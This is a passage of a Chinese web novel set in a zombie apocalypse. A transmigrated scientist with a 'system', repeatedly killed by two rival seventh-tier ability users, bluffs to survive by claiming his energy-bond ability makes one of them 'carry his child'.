他随手接抛着桌面上的钢笔,比划道:“如果你想要把这单归咎于我们,可以,很简单——如我所说,额外的报酬。不管是毁尸灭迹,还是……” “你是说,”女人打断他,目光萃冰,声音却比冰更冷,“我会对自己的队友下手?” 男人耸耸肩:“末世嘛,如果你真要我说开明白点的话——难不成还是我在故意下套?以赚取你可怜的……” “代号‘热心肠’。”女人从齿缝挤出这个词,“不是你派来的?” “当然不是。” “鄙人麾下的佣兵向来以动物自称。”见失去这一单的成交额,男人不感兴趣地翻开账本,“狼蛛、蝮蛇、腐犬、狡兔……” “…再者就是这次派遣给你的六阶异能者‘苍鹰’,那可是我们组织最厉害的招牌。我这里可没那么幼稚的代号。还热心肠?当真惹人发笑,哗众取宠……” “我可没有见到你说的什么苍蝇。” 女人嗤笑一声。 她欺身上前一步,抬臂握住腰侧的刀鞘,金属靴底重重踩上空瘪的布包:“诚实点吧,在这颗晶核的份上。回答我,你真不认识?” “自然。我们做这行的,向来讲究的就是一个,”男人的话语戛然而止。 办公桌角在他手边被一道锋芒削落,他看着半秒内闪现至面前的女人,眯了眯眼睛,声音依然平稳:“你要做什么?” “演示一下吧…” 女人抬手,冷光乍现,刃面倒映出男人平静的脸,最终停在距离他咽喉的三寸之处。 “他就这样…”手腕微转,刀尖在男人颈部划出一道浅浅的血线,“对准我的队友,用我的刀。” “然后自我介绍说,”她的声线突然变得诡异,仿佛在模仿着某种轻快的语调:“可以称呼他为——” “‘平平无奇的热忱好心人。’” 似乎是被哪三个字触动,男人的脸色刹时一变,血色尽褪,喉结不受控制地滚动起来。 * 明日基地,地下三层研究所。 S级研究员卿淼,正在逃命。 应急灯在头顶闪烁出明暗交接的光影,他在两个人的保护下奋力奔跑。白大褂早已被汗水浸透,此刻正黏腻地贴在背上。 赢弱的身体素质连续奔跑十五分钟已是极限,卿淼在分岔口猛地刹住脚步。纯正到漆黑的瞳仁在暗处微微收缩,额前几缕被汗水浸透的黑发黏在苍白的额头上。 肺部火烧般疼痛,眼前一阵阵发黑,他无意识地用牙齿咬住失去血色的下唇,上气不接下气地问:“……其他通道呢?” “都被封锁住了,可能是被它咬断了电闸,”穿着白色制服的人语调快速,想要扶起他,“博士,您要不要先藏起来?迟队已经在赶过来的路上了!” “不。” 卿淼随手扔掉滑落到鼻梁的金丝眼镜,一把推开他:“我得在那个人追上来前离开这里。” “谁?”同样气喘呼呼的助理一愣,没把他那句话当一回事,声音因紧张而尖细,“只是五阶丧尸而已,迟队来了很快就会安全的!小卿博士,您快藏起来吧!” 丧尸的嘶吼声仍在走廊回荡,卿淼没有回答,指尖不受控制地轻颤,冷汗顺着脊背滑落。 所有人都在推测它可能是通过前几天坏掉的地下污水管道误打误撞才摸到这里的,但他心里再清楚不过。 五阶丧尸?怎么可能。 在基地旁游荡的五阶丧尸,多恐怖一个存在,在被发现那一刻就会派遣小队清杀,怎么可能还会有机会侵入基地?! 又不是六七阶那种觉醒了智慧的生物,一个还没有多少思考能力的行尸走肉,怎么会如此准确地在进入地下三层后,就径直走到他所在的实验室里,然后就像是为了完成什么领路任务一样一路追着他跑? 怎么不去追着其他人跑?研究所内都是没有异能的普通人,他肉难道要比其他人香吗? 而且研究生位于基地最中心,层层保护在外,固若金汤,被同类不打招呼地袭击倒是可能… 但他上周才被接到基地,不过是个初来乍到的“新人”,连老同事的面孔都没认全,基地内部再有问题也不能牵扯到他。 除非……卿淼的眼眸闪过一道冷光。 除非,这就是冲着他来的! “迟队到底到哪儿了?!”丧尸的吼叫越来越近,助理恐惧地左右张望,“实在不行他的队员也可以!五阶而已,不是说人类最强已经可以斩杀七阶了吗?!总不能那些异能者现在都在出任务吧?!” “安心,要相信他们。”白色制服安慰完,侧头看向卿淼:“博士,我还是护送您——” “啪!” 一记清脆的响指声破空袭来。 霎那间,头顶的通风栅板轰然爆裂,金属碎片如暴雨般四溅。 卿淼本能地抬手遮挡,一块碎片擦破肩膀处的衣物,带出一道轻浅的血痕。 他看到那只紧随他们而来的丧尸已然彻底‘死’绝,头颅像熟透的西瓜般炸裂开来,腐臭的脑浆和碎骨呈放射状溅满了整面墙壁,黏稠的黑血顺着“明日基地”的标识缓缓滑落。 紧接着,第二记响指接踵而至。 实验室的墙壁顷刻间变形融化。 分岔路口的两侧通道在视野里被虚幻成为一条,爆裂的巨响层层递进,合金墙壁如蜡油般软化扭曲,金属液滴在地上滋滋灼烧。 卿淼眼睁睁看着玻璃在眼前熔成一滩银亮的液体,素质堪忧的身体软地有些不合时宜,与此同时,道路的另一侧墙壁里传来悠闲的口哨声。 “亲爱的,你知道吗?” 那声音哼的不成调歌谣在地下通道里回荡,伴随着有什么东西被打碎的声响。 “我特别喜欢这个研究所的设计,通风系统直接连通了所有区域。” 灰尘与视觉污染渐渐散去,一道修长的人影优雅地从通风管道跃下,落地时没有发出任何声音。 这熟悉的声音,再眼熟不过的作风…… 卿淼的心猛地沉了下去。 来者身量极高,手上捏着一顶边缘沾了血痕的礼帽,贴身的黑色背心外罩着一件做旧皮衣。他微微侧头,左侧一缕精致的麻花辫在微风里微微晃动,两个银质耳骨钉随着动作折射出细碎光芒。 “要找到你可真不容易。” 他抱怨着,漫不经心地活动了下手腕,随意拨开额前散落的发丝,露出一双狭长妖冶的紫色眼眸。 看起来来者不善,白色制服警惕地攥住了手上的通讯器。 “…信号呢……”通讯器那头适时响起失真的男声,在近乎凝滞的氛围中,这道不近人情的声音也显得低沉而可靠,“死了没?” 白色制服下意识要按下回复按钮,没想到—— “砰”得一声。 掌心的通讯器毫无征兆地炸掉,白色制服瞪大双眼,飞溅的碎片在他脸颊划出几道血痕,他踉跄后退,惊恐地抬头,正对上那人收手的姿势。 扎了小辫的男人左手随意地插进裤兜,右手正慢条斯理地调整着头顶黑色礼帽的角度,帽檐下的铃铛叮铃作响。 “偶然路过,”他的嗓音带着蜜糖般的恶意,尖锐的鲨鱼齿在说话时若隐若现,“无意引起纷争。” 这叫无意引起纷争?!助理眼眸剧烈震颤,喉结上下滚动着,却发不出一点声音。 整个空间像陷入死寂一样安静,只有那人皮靴碾过玻璃碎片的“咯吱”声格外刺耳。 “你是谁?” 白色制服向前横跨一步,定了定心神,抬臂挡在卿淼身前,“明日基地的第一小队队长、现世唯一的七阶异能者、人类最强的那位马上就到,如果你知道他的名号……” 那双紫色的眼眸饶有兴趣地一挑,目光绕过这人,直直锁定他背后的卿淼。 后者心脏狂跳,立刻感觉一股寒意顺着脊背一路窜上来—— 到底是谁?!这个疯子怎么知道他在这里的?! “他知道你们给他编了这么多名号吗?”男人像是听到什么乐子般不加掩饰地一笑,懒散地摊开手道,“当然,大名鼎鼎的迟聿驷,我可不会如此不自量力。” “我只不过是…”他嘴角噙着戏谑的笑意,“在帮心上人物色了一个保镖后,一听到有丧尸在追着他跑,就一刻都不敢耽误地赶来救助了而已。” 走廊尽头传来沉重的脚步声,紫眸男人却笑得愈发愉悦,他抬起手,在空中不紧不慢地再次打了个优雅的响指。 时间和空间仿佛都陷入停滞,通风管道还在落下的碎片与警报灯的红光一起诡异地凝固。 助理眼珠惊骇地下移,盯着满地的狼藉,感觉到自己白大褂的下摆也连带着一起无风飘起,像是突然置身于某种恐怖的反重力环境。 刺目的白光如利剑劈开视野,视网膜上残留的灼痕还未消散,再睁眼时,面前已经空无一人。 “博士?!” 白色制服倏地回头,顿时大惊失色:只有一顶装饰着银铃的黑色礼帽悬浮在他身后,而口中的卿淼不知为何不见踪迹。 空间静悄悄,助理像是卸去了全身力气般跪倒在地,尖锐的渣滓刺入腿肉,他却恍若未觉,半晌,才反应过来自己已经屏息太久,开始大口大口地喘息起来。 有人踏着满地的支离破碎走来,在距二人三米的地方停步。 白色制服侧头望去,惊喜的呼喊从喉咙里迸发:“迟队!” 来人穿着最普通的纯黑色衬衫,未经打理的黑色碎发凌乱地搭在额前,没有任何标识,却透着令人窒息的压迫感。 那碎发下的面容俊美端正,淡蓝色的眼眸宛如深邃的寒潭,带着淡漠的肃杀凉意,给这一套朴素随意的打扮平添了几分凛冽的感觉。 迟聿驷挥了挥手中的刀,任由刀上的血溅落在旁边的地面上。 他眸光平静,看着跌坐在地的助理,仿佛在看案板上任人宰割的牲畜,声音没有丝毫起伏。 “卿淼呢?” 第98章 卿淼感觉自己快死掉了。 男人将他扛在肩上的动作行云流水, 娴熟得令人心惊。周围的景物在视网膜中扭曲成斑斓的色块,一切都在以一种不可思议的速度向反方向倒退。 示弱?装病?还是卖乖? 卿淼的大脑飞速运转,妄图寻找一个合适的理由以摆脱现在的困境。 至于对抗…卿淼整个人都开始发颤起来, 这个念头荒谬得让他想笑。 连外面游荡的一阶丧尸都能轻易拧断他这名文弱学术分子的头颅,如果真有与之对抗的能力,他断不可能是现在的处境, 早都已经飞到不知道哪里的天涯海角处逃之夭夭,但他只是一个手无缚鸡之力的普通人而已。 几月前,系统将他传送到这个末日世界后不久就陷入沉睡, 若非它还留下那些庞杂的知识库, 他甚至连“扮演人类希望之星的最年轻生物学博士”都会感到有点困难。 特长是睁眼说瞎话,顺带学了点蛊惑人心的把戏,至于末日生存技巧, 那卿淼可以毫不夸张地摸着良心发誓——如果这世道还需要良心的话——他是真的什么都不会。 之前在小队里带小孩他都愿意,只要不牵扯到…… 他不由得看了眼身下唱歌跑调还非要唱的这人,感觉身体跟耳朵被一刀分为两半:好不容易才摆脱这家伙进入基地,怎么又被他缠上了…… 正胡思乱想地走着神, 腰间的钳制突然消失。 紫眸男人对着手中的地图认真研究了一番, 七拐八拐,最终进入地下一层一间没人的实验室里, 将他随手扔在了椅子上。 寒意透过单薄的白大褂刺入脊椎,卿淼下意识想逃, 但双腿不听使唤地脱力,像灌了铅般沉重。 不打算带他走?还是说…因为迟聿驷已经在逼近,所以无法立刻逃离? 既然如此,想办法拖延时间,得拖时间…… 想到这里, 卿淼适时地发出一声虚弱的、快要死了的呻吟,纤长的睫毛轻颤着垂下。 ——半个月前,他就是用这副表情,骗得对方毫无防备地替他尝了掺着强效镇静剂的盐水。 “这套对我不管用了,宝贝儿。” 带着笑意的声音从上方传来,卿淼保持着脆弱到被杀就会死的可怜姿势,小心翼翼地掀起眼帘。 逆光中,男人银紫色的麻花辫垂落肩膀。他歪着头,正用鲨鱼齿慢条斯理地咬住战术手套的指尖,再将它随意地甩在地上。 似乎是察觉到这道视线,他俯下身,指节擦过卿淼绷紧的颈侧,嘴角点着一抹顽劣的笑意。 “或者,你再表演一下那个魔术给我看?” 温热的气息拂在耳畔,卿淼恨他恨得想要咬牙,呼吸凝滞在胸腔。 哪里有什么魔术——?! 魔术魔术,就知道魔术,你以为谁都和你一样拥有如此无解的异能?! 那不过是任务失败的系统回溯功能罢了! 查看不了面板,所有道具都用不了,也失去了提示,但这一刻,那道冰冷的提示音仿佛还在耳边回响: 【任务目标: 主线:感化黑暗男主迟聿驷,帮助其斩杀丧尸皇。 支线:获取其爱意值100%】 整整十几次任务失败的惨烈画面瞬时在脑中闪过,卿淼喉间突然涌上一股腥甜的铁锈味,竟然想在这时放声大笑一声,再对着这张近在咫尺的脸竖起中指示意:你和你已经决裂的兄弟都是他*末日脏话*的神经病! 但这想法出现的那一刻,他猛然惊醒,发现自己可能早都已经和面前这人一样不正常了。 卿淼还记得自己的第一次穿越。 他刚刚来到这个世界,还不太适应残酷的生存环境,在与迟聿驷初次会面时,因为没能回答上来一个简单的生物问题,就被那位无心无情的男人用长刀穿透胸膛钉在墙上。 也不管是不是需要保护的人,也不管自己出基地是为了什么,刀光一闪而过,卿淼的意识瞬间陷入黑暗——男主直接把他一刀砍死了。 是不是还要感激他没有放血折磨人? 但没办法,系统只得将卿淼送回了两人还没见面的时候,让他有时间得以好好准备。 第二次,他撑到了第三天。小心翼翼地模仿着系统提示里那位高才生博士的行为举止,迟聿驷却只是在一次上车时把玩着他的研究员ID卡,说了句“你最近,有点不对劲。”,寒光一闪,就直接一刀封喉。 哪里不对劲?哪里有问题?!S级任务的男主简直是喜怒无常的怪物!这该怎么感化那颗心,流出来的血都是黑色的吧?! 虽然这样想着,卿淼仍然咬着牙继续开始任务,第三次、第四次……第七次…… 迟聿驷这个家伙完全不能以之前寻常的攻略手段对待,普通的加好感道具对他毫无作用。精心设计的色诱会被刀尖抵住咽喉,楚楚可怜的示弱只能换来意味深长的冷笑,展现价值时反而会引起更深的怀疑。 但有了前十三次血淋淋的经验,第十四次,卿淼终于有了点成效。 他几乎耗尽了自己的所有底牌,熟练地刷完四名队友的好感,再完美演绎着一个柔弱却聪慧的研究员形象,甚至不惜在生死关头以命搏命,成为一朵所有人眼里‘绝境中绽放’的‘带刺玫瑰’,才终于换来了迟聿驷短暂的信任。 实在不是gay的话,他光在旁边撺掇迟聿驷让他去打丧尸皇总行了吧?!卿淼长舒了一口气,感化这个词他都不敢用了! 他想着任务终于步入正轨可以开始,系统提示『能量不足:再经历两次失败将强制休眠』也没在意,但没想到,当天下午就被这个疯子找上门来。 ——这位男主曾经的挚友、已经反目成仇的宿敌,名叫郗烬忱的七阶异能者。 当时,这个男人只是像个真正的绅士那样倚在卿淼的房门边,若有所思地对他勾起嘴角,请他再表演一下如何才能时间倒退,然后毫无预兆地——下一秒,伴随着一声响指,卿淼整个人就像气球鼓起来一样炸开,他被他杀死了。 失败了整整十六次的卿淼想不通。 他曾在迟聿驷的刀下死过整整十三次,那个人只会用最残酷的方式解决问题:答不上来,一刀,举止异常,一刀,信任稍有动摇,依旧一刀。可即便敏锐如迟聿驷,也从未看穿这个世界曾经反复运转过多少次。 男主都没能察觉到,他是怎么发觉到的?……因为异能的独特性吗?如此强大,怎么还会被追杀到隐姓埋名的地步。 但系统已经沉睡,无论如何也无法回复他这个问题。 眼前是终于不想着杀死他,却仍然致力于伪装绅士的变态,不知道这人到底哪里来的这个恶趣味——卿淼索性闭上眼睛装晕,心里盘算着迟聿驷到底还有多久才能找到他们。 思绪间,鼻梁上猝然压下熟悉的重量,不久前被他扔到地上的金丝眼镜又重新回到他的脸上。郗烬忱用温度冰凉的手指有一下没一下地调整着镜腿,像是在调试什么好玩的玩具。 卿淼没敢有多余的动作,连呼吸都放得很轻——跟喜欢具有‘反抗精神’、‘带刺玫瑰’类型的迟聿驷不同,郗烬忱只吃软不吃硬,跟他来硬的他手段更硬。 镜框边缘还残留着被暴力拼合的细微裂痕,郗烬忱摸了摸那块拼接处,忽然哼了段不成调的歌,指尖在椅子背上轻轻打着拍子。 “林锦楠明天回基地…”他像是回忆到什么,忽然笑着凑近,“会来申请当你的私人保镖。” 林锦楠? 那个明日基地第二小队队长,性格和迟聿驷不遑多让的、唯一一个女性的六阶异能者? 卿淼来基地后特意借着提升异能的借口刷过她的好感度,自然知道她是个什么样的女人。指尖无意识掐进掌心,心想,她放着小队的七个人不管,来申请…… 虽然对那些素未谋面的人是否真的死掉完全无动于衷,但卿淼想着自己的人设,还是猛地睁开了眼睛。 “啊,你想到什么了?”郗烬忱愉悦地看着他不可置信的脸色。 郗烬忱一向欣赏这样的人,尤其欣赏他在冷光灯下几乎透明的皮肤,脆弱地像是随时会被风吹走的纸人——明明能轻易被杀死,却像蟑螂一样有着顽强的、令人厌恶的生命力,他实在很是好奇。 但玩笑话说得差不多,也就该撤退了。他只是单纯为了亲自来告诉对方这个消息而已,待久了就有些得不偿失了。 郗烬忱心情不错地站起来,从衣兜里摸出一根巧克力棒,刚准备塞进嘴里—— “咔嚓——” 淬着寒芒的银光破空而来。 巧克力棒连同包装纸被整齐地削成两截,碎屑尚未落地就刀风绞成齑粉。 一柄闪着蓝色波纹的黑色长刀随之深深嵌入墙壁,刀柄上悬着鎏金铃铛的礼帽轻轻晃动,发出空灵的脆响,正是他本人片刻前戴在头上、又留在案发现场的那顶。 刀刃同样擦过他指尖,却连一道红痕都未留下。郗烬忱垂眸扫了眼自己完好无损的手指,忽得低笑出声。 他稍稍侧头,迟聿驷的身形在门口显露而出,步伐不重不轻,语气冷漠如冰:“又来闹事?” 刀柄仍在震颤着,寒光流转间,映射出郗烬忱摄人心魄的紫色眸瞳。哪怕是卿淼,此刻也不得不承认,这人当真生了双漂亮到近乎邪性的眼睛。 那双妖异的紫瞳微微眯起,沉淀着星云般的绚丽光斑,而眼睛的主人只是笑了下,用腕骨缓缓抹去溅到唇角的巧克力碎屑,喉咙间溢出的闷笑又磁又哑。 “你可真欢迎我。”郗烬忱戏谑着开口,尾音上扬,带着几分玩味的挑衅。 迟聿驷随意地瞥了眼歪坐在一旁的卿淼,确认人尚且还没有被他弄死,便漠然地收回视线。 那张轮廓分明的脸上不见丝毫波澜,他抬起手,随着一声破空轻响,黑刀即刻颤鸣着飞回他的掌心。 刀刃锋利无比,手腕轻转,便如活物般在空中翻飞,迟聿驷这才冷笑一声,嗓音寒凉地回敬:“你还是这么令人讨厌。” 第99章 这两人的关系…… 卿淼抱着掉到怀里的礼帽, 眼睁睁看着他们就这样互相问好了一句话——甚至是一人一句,连第三句都没有出现——就直接在这狭小的实验室里打起来了。 你一下我一下,仿佛在进行什么系统设定的回合制游戏, 旁若无人地喊着宿敌啊羁绊啊能奈我何啊身体就纠缠在一起了,那他在这里是干什么的。 难道是负责说那句“你们不要再打啦,这样是打不死人”的吗?还是说那句“要打去练舞室里打”? 卿淼的命可没有那么硬。 思绪间, 那柄黑色长刀在空气中突然“嗡”地一声震颤,刀鞘上的幽蓝波纹骤然如海潮般暴涨。 即将去练舞室里打架的两位主角之一的迟聿驷随意抬手,只轻描淡写的一记横扫, 面前的实验台便在刀风下像豆腐般被轻而易举地分为两块, 连带着后方的墙壁都留下一道无法被修复的裂痕,断面处还残留着幽幽蓝光。 随后,他持刀而立, 面色冷寒,微微抬眸,像是在无声传递战书:该你了。 回合制游戏的另一位主角收回视线,对此轻蔑地勾起嘴角:凭借自带一定免伤buff的开挂一般的异能, 同为七阶, 迟聿驷仿佛挠痒般的刀风根本伤不到他丝毫。 郗烬忱手腕翻转,仿佛变魔术般, 一柄薄如蝉翼的手术刀就出现在两指之间。 “你倒是有什么用什么。”迟聿驷冷嗤一声。 郗烬忱懒懒挑眉,手术刀在指间翻出一个漂亮的刀花:“物尽其用罢了。” 那刀尖有意无意地指向迟聿驷, 在小辫男人俯身向前突进,直捣对方咽喉时,角落里装蘑菇的卿淼终于是反应过来什么。 他下意识抬手去摸自己白大褂侧边的口袋,但不管怎么翻怎么找都是徒劳,连布料都被他挼出凌乱的褶皱, 口袋里仍然仅剩几张皱巴巴的卫生纸。 …… 他猛地抬头看向郗烬忱,咬牙切齿地想:这个疯子!变态!现在居然还兼职当小偷?! 怪不得他看那刀越看越眼熟! 手术刀与雁翎刀相击在一起,电光石火之间,前者被毫不留情地斩成两截,就像一块廉价的劣质玻璃。 断刃旋转着插进地面,卿淼垂下眼帘,心在血淋淋地往下滴血:那是他特意花了大价钱向系统定制来防身用的,还没来得及拿出手用过几次,就这么轻易地被一刀两断了?! 而罪魁祸首把玩着手上仅剩的刀柄,一个扭身闪避,灵巧地避开迟聿驷紧随而来的连击,接连后撤三步和他拉开距离,垂眸“啧”了一声,突然露出一副嫌弃的表情,便将其随手往后一抛—— 卿淼盯着精准飞到脚边的刀柄,苍白-精致的脸扭曲一瞬,额角青筋直跳。 他像是个看到妻子被欺负却无能狂怒的丈夫,怒火霎时涌入心间:他被这两个神经病折磨到睡觉都在做梦自己被一遍又一遍地杀死,而此刻在双倍的威胁下只能想象着自己是一个最好能原地隐身的蘑菇。新仇旧恨算在一起,他已然下定决心,要让这个可恶的家伙尝尝什么叫罪有应得! “好,很好……” 卿淼喃喃自语着,一把扔了碍眼的礼帽,抓起断刀柄揣进兜里,手指疯狂点击着空荡荡的系统面板,却看见上方显示才百分之五十的充能进度。 系统能吸收晶核加快充能,这些还是他这段时间借着职务之便悄咪咪偷来的成果。他自己没有击杀丧尸的能力,来基地前的那三个月,这进度条甚至在以每天千分之一的龟速爬行。 一咬牙,卿淼摸出裤袋里尚带体温的七阶晶核,琥珀色的晶体在手心流转着蜂蜜般的光泽——刚刚五阶丧尸突袭的毫无预兆,他做研究还没来得及将它放入保险箱。 系统的光幕在剧烈闪烁,卿淼再看了眼郗烬忱那张嚣张的俊帅嘴脸,丝毫没有想要攻略的念头,反而更坚定了一番自己准备公饱私囊的想法。 他在心里大喊:“系统010,给我快活过来啊!!” 完全不知道卿淼在酝酿着什么阴谋,郗烬忱仍然在那里游刃有余地和迟聿驷你来我往。 他出门在外向来不带任何武器,为了高大上且绅士的外在,从来只用对方的武器来惩戒对方,但此刻对面是迟聿驷…… 郗烬忱遗憾地摇摇头,头也不回地又从卿淼胸前的口袋顺出一支钢笔,顺便把礼帽也优雅地调整好角度戴到头上。 他心里盘算着跑路路线,嘴上却散漫道:“看来要动真格的了。” 漫不经心地打了个响指,郗烬忱捏住钢笔,轻飘飘一划,所指之处,空气仿佛都被无形割裂开来。 迟聿驷的刀风硬生生被截断在半空,像是撞上了一堵透明的墙。 郗烬忱把玩着钢笔,悄悄计算着,如果此刻对方再出一刀,只要一刀…他就能趁着那道转瞬即逝的空间裂缝完美跑路…… 迟聿驷三成实力都还没拿出来,再这样打下去完全没有必要,他可不想在卿淼面前输给对方。 但像是知道他在想什么,后者却是即刻收刀入鞘。 迟聿驷摆出一副谈话的姿态,语气轻缓却不容置疑:“聊聊?” 郗烬忱摊开手咧嘴一笑,锐利的鲨鱼齿泛着森白的光:“夫妻天天见面都没话讲,我跟你有什么好聊的?” 曾经的挚友反目成仇,那恨意很是滔天了。 “一周之内,闯了十三次基地。”迟聿驷掀起眼皮,扫了眼低着头在椅子上像是睡着了的卿淼,低沉的嗓音都透着寒意,“为了见他?” “一周之内,你毁了我四十二根巧克力棒。” 郗烬忱轻佻地眨了下眼睛,戏谑的尾音拖得很长:“怎么啊,明日基地的第一小队队长、现世唯一的七阶异能者、人类最强的这位,这该不会是…吃醋了?” “吃醋?”迟聿驷好笑地嗤笑一声,手指一松,黑色长刀瞬间化作无数蓝色的光点,“这有点恶心。” “一个连最基本常识都不懂的废物,却是基地保护册上登记人员中最高的S级研究员……”他目光冷漠如常,语气平静得像在宣读条例,“意思就是——” “一名被所有基地联合通缉的逃犯,需要远离他。” 怎么不聊聊他是怎么被通缉的。郗烬忱懒散歪头,钢笔在指尖迸出紫色的荧光。 他抬手,夸张地在空中画了一个大大的叉号,“X”形状的烙印映入两人的视网膜中。 “如果,”郗烬忱拖长声调,“…我说不呢?” 迟聿驷面无波澜:“那我就只能先杀掉他了。” 话音落下,那些黑色长刀幻化而成的蓝色光点变为悬浮在身侧的蓝色光刃,组合成一张细密的刀网。 它们闪现至卿淼的身旁旋转起来,其中光芒最亮的一道蓝抵住他的脖颈,在苍白的皮肤上划出一道刺目的红痕。 “等…” 冰冷的触感让卿淼浑身一颤,他在细密的疼痛中抬起眼睫,呼吸骤然急促起来。 大脑飞速运转,他却怎么也想不明白,不理解为什么这两个人就这样聊着聊着,这个喜怒无常的男主又要对自己痛下杀手。 怎么回事?! 基地的S级研究员被通缉犯盯上,难道不应该解决这个通缉犯吗?不应该保护他吗?! 难不成因为郗烬忱太强而无法被通缉,所以迟聿驷压根懒得出手,但为了防止他被带走,干脆先解决掉他这个“累赘”? 多荒谬啊,这个疯子! 可怕的事实在卿淼脑海中铺展开来。他早该知道的,一个杀了他十三次,一个杀了他三次…第十四次了——如果算上这次的话。 而迟聿驷表面上是基地的守护神,骨子里根本就是个彻头彻尾的—— “你想对我的‘心上人’做什么?”郗烬忱的声音在耳畔响起,带着令人毛骨悚然的温柔。 卿淼小心地移动眼眸,看到郗烬忱打了个响指,迟聿驷的蓝色光刃霎那被一层透明的空气隔绝开来。 他真心真意无助地看着对方,但这个有着紫色眼睛的败类只是微微一笑:“宝贝儿,你要表演魔术了吗?” …这是什么话。 卿淼咬住下唇。原来如此,他的死活郗烬忱都毫不在意,而这一次他没有将自己如同路边一条那样直接踹死,只不过是想看他在活着时,究竟能不能表演所谓的“回溯”而已。 真会折磨人啊。 该怎么做、…该怎么做……这个局面该如何破解? 卿淼的视线死死锁定在系统面板上,指尖不自觉地收紧。 七阶晶核已经投喂下去,系统能量条终于亮起令人心安的绿光,所有功能都已解锁,可系统自带的回溯次数都已经被他用完,这次死了就是真的死了! 面板有了,道具也都可以使用。但如他所见,攻略系统,当卿淼快速浏览完所有可用的道具后,一颗心直直地沉了下去——没有一个可以让他摆脱现在的局面。 什么肤如凝脂,什么魅惑之眼,楚楚可怜清冷声线……这些以往无往不利的攻略利器,在迟聿驷面前却像是个笑话,对这个面若寒潭的男人毫无作用。他像是没有七情六欲,情感数值始终是一条死寂的直线。 破局点…破局点,那目前为止,也只能在郗烬忱身上做文章了。 道具能用在他身上吗……卿淼的额头渗出细密冷汗,喉结不自觉地滚动着,心想,他尚且还是对方嘴里所谓的‘心上人’。 【宿主,是否获取可用异能?】 系统的提示音在脑海中响起,卿淼在心底苦笑。 异能?他现在要这有什么用。 疯子的刀尖已经悬在咽喉,想来攻略系统的异能也不是什么战斗方面的,而初始的二阶在对方眼里根本形同虚设…… 卿淼扫一眼异能的获取方式,打算死也要当个饱死鬼。 【选定人物在其身体中蕴养自己的异能,目标人物为母体,宿主为子体。能力可于日常接触中逐步获取。 ps:如果对方对你的好感度超过30%,期间你所承受伤害的0.1%将由对方分担,具体比例随好感度提升而增加。】 分担伤害,聊胜于无吧…卿淼在心中说道:就这个了。 【系统收取中,亲爱的宿主,确定将……】 “确定,确定!这还问什么啊,你宿主马上要死了!”卿淼在意识中几乎是喊出这句话,“选定人物郗烬忱!让他帮我蕴养我的异能!” 【系统确认中…】 卿淼屏住呼吸,道具能用在他身上吗… 【选定成功,异能蕴养目标:郗烬忱。 当前好感度:31%(好奇,玩味) 提示:好感度满足30%,伤害分担已生效!目前分担比例:0.1%】 卿淼突然整个人都放松下来:那这是不是意味着,他所有的道具都能用在对方身上。 一想到这种可能,心脏就莫名其妙地开始在胸膛里狂跳…… 迟聿驷冷淡道:“看起来,他不会你所说的魔术。” “你又怎么看到的?” 郗烬忱不知道什么时候坐在了一张扶手椅上,嘴里还叼着根巧克力棒,跟没骨头一样窝在里面。 套着烟灰紧身牛仔裤的双腿被交叠在一起,左脚锃亮的皮靴尖轻轻一挑,不轻不重地踢翻了脚边的试管。 他身上的黑色皮衣随意地敞开着,露出里面紧贴身躯的内衬。单薄的衣料被饱满的胸肌撑出性感的轮廓,勾勒出分明而流畅的肌肉线条。只是脖颈处一道未愈的伤疤贯穿锁骨,在皮肤上显得格外扎眼。 迟聿驷的目光在脖颈那道疤痕上停留了一瞬,眸光一沉,懒得再和他在这个话题上多费口舌。 他指尖微动,卿淼身侧的蓝色刀刃便快速旋转起来。正打算直接动手结束这一周的闹剧,却看到那人猛地仰起头,瞪大了金丝眼镜后那双黑色的眼睛。 “你杀不死我!” 卿淼梗着脖子,带着孤注一掷的疯狂,索性破罐子破摔地大喊:“因为、因为你旁边那位,他怀了我的孩子!” 能量体异能也算吧,系统都已经显示蕴养成功了,反正就这么说就对了。想来那个男人也不会觉得什么。 而他面前,迟聿驷曲起的指节微不可察地顿住。 是“杀不死”,而不是“不能杀”,也不是“杀不了”。 这个微妙的用词… 等一下。谁怎么了谁的什么东西? 饶是迟聿驷也不由得皱了下眉,他看向郗烬忱,后者的表情愣了一瞬,似乎是在观察什么,随即又低笑出声。 “啊…” 郗烬忱咬断巧克力棒,手指撑在下巴处,懒洋洋地左小腿搭右大腿,那双蛊惑人心的眼睛危险地眯起来,就像是在看别人的乐子:“是吗?那可真有意思。” 第100章 “既然知道我手段奇特, 那我肯定是有非常手段的。”卿淼尽力保持着声音的平稳。 “我的魔术在刚刚已经表演完了——还满意吗?” 满意? 简直是意外收获。 身体里的确是莫名涌现了一股不属于自己的特殊能量,这实在太有意思。 郗烬忱好整以暇地跷腿坐在那里,不反驳也不承认, 以一种很有兴致的表情,示意他继续对着一旁等待他说个所以然来的迟聿驷信口开河。 见他没有拆穿,可也没有一点把他从黑暗男主的刀下救出来的打算。卿淼僵着手扶了下鼻梁上的金丝眼镜, 心下开始思量起来。 以前就发现了,这个变态性格开明的简直非人,不好好利用一下都有点对不起自己, 反正道具都能对他使用…… 为了活命, 他定了定心神,绞尽脑汁地发挥睁眼说瞎话的特长:“你杀不死我,意思是我有两条命。” “都是异能者, 你应该也懂……我和他身体里的‘孩子’父子连心。若我身死,‘孩子’会为我‘替命’,我就还有一条命。”他故意顿了顿,观察了下两人的表情, 还是没能看出什么, 只得继续瞎编,“不过, ‘孩子’也想活啊,自然要从身体汲取能量维系生机。” “那他活着的话, 那‘孩子’自然也活着。如此,哪怕你杀了我,我也能继续死而复生。” 卿淼努力地直起身板,掷地有声道:“所以,迟聿驷, 你杀不死我。” “哦…?”迟聿驷剑眉微挑,似乎是对这一切有些厌烦了,手中重新浮现漆黑长刀,简单道,“你话可真多。” 不过谈及所谓的……,他语调也变得古怪起来:“那我把它从‘孩子他妈’肚子里剖出来…再把你解决掉。” 虽然,现在是末世没错,就是这句话说出来怎么这么血腥呢,直接剖出来,这是能播出来的吗? 幸好系统给予的异能只是能量体,压根不是什么活物,不然照男主这恐怖的心理活动,谁能攻略得了他,能活着就不错…… 思绪到这里,卿淼的笑突然僵在脸上—— 等等,在我的预想里,你不是应该粗略地说一句“麻烦,那连着一块杀了”,然后就接着和郗烬忱继续打起来了吗? 已经说的很明确了,自己能活下去就是因为他,怎么男主的目标还没转移…是因为这两个人仇恨大的压根不需要自己转移吗?! 这么不按常理出牌,还是要对他开刀,他这条命已经被惦记整整十三次了! 而迟聿驷嘴上说着要先去当医生做“剖腹产”,实际上抬手就直接对着卿淼一刀砍了下来。 刀光凌厉刺眼,对他毫无办法的攻略者下意识闭眼,心无杂念甚至习惯到有些想笑,觉得自己仿佛觉醒了什么“你已有取死之道”的buff所以一直在死…… 